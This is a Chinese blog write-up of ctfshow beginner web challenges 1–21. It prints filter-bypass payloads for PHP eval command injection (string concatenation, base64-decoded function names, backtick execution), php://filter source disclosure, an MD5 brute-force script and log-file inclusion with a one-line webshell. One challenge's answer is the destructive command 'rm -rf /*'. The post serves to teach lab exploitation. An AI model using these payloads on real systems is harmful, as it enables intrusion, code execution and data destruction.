ctfshow萌新区web1~21

前言

经常做ctfshow上面的题目,发现这个是真心的不错,就是除了做不出来也没什么了,害!

萌新

web1

没啥好说的,看到源码提示id不能大于999,还要等于1000,直接取反,payload?id=~~1000,没过滤,直接得到flag

web2

细节同上

web3

同上

web4

同上

web5

同上

web6

同上

emmm

其实,上面那些都是非预期题解,预期题解的话还需要细说啊
总之,预期题解,在下一题的提示即过滤中可以看到。因此前面的构造payload分别为:

web1 :?id=100 or id=1000//就是用一个id小于999的来进行验证,然后再给他一个1000的值进行判断
web2 :相同的原理,直接为?id=100 ||id=1000
web3 :?id=100 ||id=1000
web4 :?id=100 ||id=1000
web5 :?id=~~1000
web6 :?id=~~1000

对于~,是在这个数字加一的基础上进行取反,所以两次操作就会变为原来的数字。

web7

二进制操作。
用python转换进制:十进制转换用int(),十六进制转换用hex(),二进制转换用bin,八进制转换用oct()

web8

说来就很神奇,这个万万没想到是payload:rm -rf /*,得到flag?
what?清空库存跑路了?

web9

题目
别看这些花里胡哨的,既然提示在config.php文件里了,直接构造payload:?c=system('cat config.php');,然后F2得到flag。flag

web10

还是一样的源码,不过这次是if(!preg_match("/system|exec|highlight/i",$c)){ eval($c);,所以就不能直接用刚才的payload了。那么换个不就好了。直接构造payload为:passthru('cat config.php');,得到flag。
然后,php中作为执行系统命令的函数有:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

另外一种解法,命令行拼接。不让我用system函数,我就非要用。所以就构造payload为:$a='syst';$b='em';$c=$a.$b;$c('cat config.php');

web11

根据上面的操作直接进行拼接,构造payload为:$a='ca';$b='t';$c=$a.$b;passthru("$c config.php");
注意,这里函数内部要用双引号,如果是单引号,php语言无法处理达到你的目的。
原因:在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。

web12

比起11多了一个if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){,直接cat 还有文件名都给过滤了。
不慌,这波咱们有个闪现,耗子尾汁吧。所以构造payload:$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);,得到flag。传统ctf讲究点到为止,出题人耗子尾汁吧。

web 13

这个就更加狠了if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){,直接分号给过滤了。然后这个用上面的办法没法子做了就,就尝试了一下passthru("ca''t")?>,发现没有出错,然后这样子只需要想办法把config.php文件给包含进去就好了。然后就百度了一下,了解到了在Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句。所以,这个思路就来了,payload就跟着来了:

passthru("ca''t `ls`")?>

得到flag

用到的知识

1、可以利用php中的?>来闭合语句
2、Linux中的反引号作用是优先执行
3、可以利用引号绕过cat过滤

web14

题目描述
我:阿呆,早死早超生啊
打开if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){,发现过滤东西又多了,这次括号也过滤了。没事,不慌,直接百度了一波,发现了绕过的姿势。所以构造payload为:include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php,得到一串base64编码的字符串,解码得到flag。结果

web15

打开题目,if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){,发现过滤了?和>,但是这个不妨碍我构造payload啊。所以构造payload为:include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php,同样得到base64加密字符串,解码得到flag。
base64加密字符串
另一种解法,一个大师傅说的可以构造payload为:?c=echo \$_POST[a];,接着以post方式请求一个a=cat config.php,但是不知道为什么小弟没有复现成功。反而是上面的get改为post成功了。

web16

换菜了,他终于换菜了。

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>

在这里我的直接就是脚本爆破了。
然后脚本一直是我的弱点,这次就尝试写一个简单的

import hashlib
#建立爆破的字典str
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+-*/'
#从一个字符开始尝试,逐渐往下加
for i in str:
    for j in str :
        for k in str:
            s=hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #让ctfshow和字符i,j,k拼接在一起,转化为MD5值,hexdigest函数实现字符存储
            if s== 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
                print(i+j+k)#输出字符c的值
    

然后爆破得到c的参数值:36d。构造payload:?c=36d,得到flag。

web17

换菜了换菜了,那个男人他终于换菜了。
打开题目

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/php/i",$c)){
               include($c);

       }


}else{
        highlight_file(__FILE__);
}
?>

可以看到传参c,过滤了php字段。然后尝试用data协议写文件时,提示data协议
说明无法利用data协议进行操作。然后在不断的尝试中发现了这个题目禁止了远程文件包含,所以就想到了之前做题遇到的日志包含,详情可以看我的这个博客
根据上面操作,直接传一句话木马进去,蚁剑链接成功。得到flag。flag

web18

做题方法同上,这里提供一个大佬做题的方式
首先通过错误页面得到环境是基于Ubuntu搭建的。然后默认日志文件路径为/var/log/nginx/access.log,接着burpsuit抓包,按照图示修改
图示
然后放包,得到flag。
对于获得这个36d.php文件,大师傅就只有一句system();可以得到,有点迷,是我菜了。

web19

方法同上,两个都可

web20

同上

web21

同上

  • 12
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 10
    评论
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值